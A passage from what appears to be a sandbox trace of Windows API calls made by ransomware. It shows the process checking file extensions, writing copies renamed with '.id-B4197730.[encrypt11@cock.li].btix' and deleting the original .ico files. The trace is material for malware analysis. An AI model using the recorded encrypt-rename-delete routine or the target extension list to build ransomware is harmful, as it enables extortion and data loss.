returned -1 [0043.343] lstrlenW (lpString=".ppt") returned 4 [0043.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString=".zip") returned 4 [0043.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString=".rar") returned 4 [0043.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString=".bz2") returned 4 [0043.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.343] lstrlenW (lpString=".7z") returned 3 [0043.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString=".dbf") returned 4 [0043.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString=".1cd") returned 4 [0043.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString=".jpg") returned 4 [0043.343] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.343] lstrlenW (lpString=".doc") returned 4 [0043.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString=".docx") returned 5 [0043.343] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.343] lstrlenW (lpString=".pdf") returned 4 [0043.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString=".xls") returned 4 [0043.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString=".xlsx") returned 5 [0043.343] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.343] lstrlenW (lpString=".ppt") returned 4 [0043.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.344] lstrlenW (lpString=".zip") returned 4 [0043.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.344] lstrlenW (lpString=".rar") returned 4 [0043.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.344] lstrlenW (lpString=".bz2") returned 4 [0043.344] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.344] lstrlenW (lpString=".7z") returned 3 [0043.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.344] lstrlenW (lpString=".dbf") returned 4 [0043.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.344] lstrlenW (lpString=".1cd") returned 4 [0043.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.344] lstrlenW (lpString=".jpg") returned 4 [0043.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.344] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.344] lstrlenW (lpString="Rotate3.ico") returned 11 [0043.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.348] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=894) returned 1 [0043.348] CloseHandle (hObject=0x358) returned 1 [0043.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0043.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.352] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.352] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.353] GetLastError () returned 0x0 [0043.353] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.477] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.479] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.479] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.479] SetEndOfFile (hFile=0x308) returned 1 [0043.479] CloseHandle (hObject=0x308) returned 1 [0043.480] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.480] SetEndOfFile (hFile=0x32c) returned 1 [0043.481] CloseHandle (hObject=0x32c) returned 1 [0043.481] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.481] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0043.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.481] lstrlenW (lpString=".doc") returned 4 [0043.481] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.481] lstrlenW (lpString=".docx") returned 5 [0043.481] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0043.482] lstrlenW (lpString=".pdf") returned 4 [0043.482] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString=".xls") returned 4 [0043.482] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString=".xlsx") returned 5 [0043.482] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0043.482] lstrlenW (lpString=".ppt") returned 4 [0043.482] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString=".zip") returned 4 [0043.482] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString=".rar") returned 4 [0043.482] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString=".bz2") returned 4 [0043.482] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.482] lstrlenW (lpString=".7z") returned 3 [0043.482] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString=".dbf") returned 4 [0043.482] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString=".1cd") returned 4 [0043.482] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString=".jpg") returned 4 [0043.482] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.482] lstrlenW (lpString=".doc") returned 4 [0043.482] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.483] lstrlenW (lpString=".docx") returned 5 [0043.483] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0043.483] lstrlenW (lpString=".pdf") returned 4 [0043.483] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.483] lstrlenW (lpString=".xls") returned 4 [0043.483] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.483] lstrlenW (lpString=".xlsx") returned 5 [0043.483] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0043.483] lstrlenW (lpString=".ppt") returned 4 [0043.483] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.483] lstrlenW (lpString=".zip") returned 4 [0043.483] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.483] lstrlenW (lpString=".rar") returned 4 [0043.483] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.483] lstrlenW (lpString=".bz2") returned 4 [0043.483] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.483] lstrlenW (lpString=".7z") returned 3 [0043.483] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.483] lstrlenW (lpString=".dbf") returned 4 [0043.483] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.483] lstrlenW (lpString=".1cd") returned 4 [0043.483] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0043.483] lstrlenW (lpString=".jpg") returned 4 [0043.483] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.484] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.484] lstrlenW (lpString="Rotate6.ico") returned 11 [0043.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.484] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=894) returned 1 [0043.484] CloseHandle (hObject=0x32c) returned 1 [0043.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0043.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.484] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.484] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.484] GetLastError () returned 0x0 [0043.485] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.606] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.606] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.606] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.607] SetEndOfFile (hFile=0x308) returned 1 [0043.607] CloseHandle (hObject=0x308) returned 1 [0043.607] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.607] SetEndOfFile (hFile=0x32c) returned 1 [0043.608] CloseHandle (hObject=0x32c) returned 1 [0043.608] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.608] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString=".doc") returned 4 [0043.609] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.609] lstrlenW (lpString=".docx") returned 5 [0043.609] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0043.609] lstrlenW (lpString=".pdf") returned 4 [0043.609] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.609] lstrlenW (lpString=".xls") returned 4 [0043.609] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.609] lstrlenW (lpString=".xlsx") returned 5 [0043.609] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0043.609] lstrlenW (lpString=".ppt") returned 4 [0043.609] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString=".zip") returned 4 [0043.609] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.609] lstrlenW (lpString=".rar") returned 4 [0043.609] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.609] lstrlenW (lpString=".bz2") returned 4 [0043.609] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.609] lstrlenW (lpString=".7z") returned 3 [0043.609] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString=".dbf") returned 4 [0043.609] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString=".1cd") returned 4 [0043.609] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.609] lstrlenW (lpString=".jpg") returned 4 [0043.609] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.610] lstrlenW (lpString=".doc") returned 4 [0043.610] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.610] lstrlenW (lpString=".docx") returned 5 [0043.610] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0043.610] lstrlenW (lpString=".pdf") returned 4 [0043.610] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString=".xls") returned 4 [0043.610] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString=".xlsx") returned 5 [0043.610] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0043.610] lstrlenW (lpString=".ppt") returned 4 [0043.610] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.610] lstrlenW (lpString=".zip") returned 4 [0043.610] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString=".rar") returned 4 [0043.610] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.610] lstrlenW (lpString=".bz2") returned 4 [0043.610] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.610] lstrlenW (lpString=".7z") returned 3 [0043.610] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.610] lstrlenW (lpString=".dbf") returned 4 [0043.610] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.610] lstrlenW (lpString=".1cd") returned 4 [0043.610] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0043.611] lstrlenW (lpString=".jpg") returned 4 [0043.611] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.611] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.611] lstrlenW (lpString="Setup.ico") returned 9 [0043.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.611] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=36710) returned 1 [0043.611] CloseHandle (hObject=0x32c) returned 1 [0043.611] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0043.611] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.611] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.611] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.612] GetLastError () returned 0x0 [0043.612] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0043.716] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0043.717] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.717] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xe6, lpOverlapped=0x0) returned 1 [0043.717] SetEndOfFile (hFile=0x308) returned 1 [0043.718] CloseHandle (hObject=0x308) returned 1 [0043.719] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.719] SetEndOfFile (hFile=0x32c) returned 1 [0043.719] CloseHandle (hObject=0x32c) returned 1 [0043.720] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.720] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0043.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.720] lstrlenW (lpString=".doc") returned 4 [0043.720] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.720] lstrlenW (lpString=".docx") returned 5 [0043.720] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0043.720] lstrlenW (lpString=".pdf") returned 4 [0043.720] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.720] lstrlenW (lpString=".xls") returned 4 [0043.720] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.720] lstrlenW (lpString=".xlsx") returned 5 [0043.720] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0043.720] lstrlenW (lpString=".ppt") returned 4 [0043.720] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.720] lstrlenW (lpString=".zip") returned 4 [0043.720] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.720] lstrlenW (lpString=".rar") returned 4 [0043.720] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString=".bz2") returned 4 [0043.721] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.721] lstrlenW (lpString=".7z") returned 3 [0043.721] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString=".dbf") returned 4 [0043.721] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString=".1cd") returned 4 [0043.721] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString=".jpg") returned 4 [0043.721] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString=".doc") returned 4 [0043.721] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.721] lstrlenW (lpString=".docx") returned 5 [0043.721] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0043.721] lstrlenW (lpString=".pdf") returned 4 [0043.721] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString=".xls") returned 4 [0043.721] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString=".xlsx") returned 5 [0043.721] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0043.721] lstrlenW (lpString=".ppt") returned 4 [0043.721] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.721] lstrlenW (lpString=".zip") returned 4 [0043.721] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString=".rar") returned 4 [0043.721] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.721] lstrlenW (lpString=".bz2") returned 4 [0043.721] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.721] lstrlenW (lpString=".7z") returned 3 [0043.722] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.722] lstrlenW 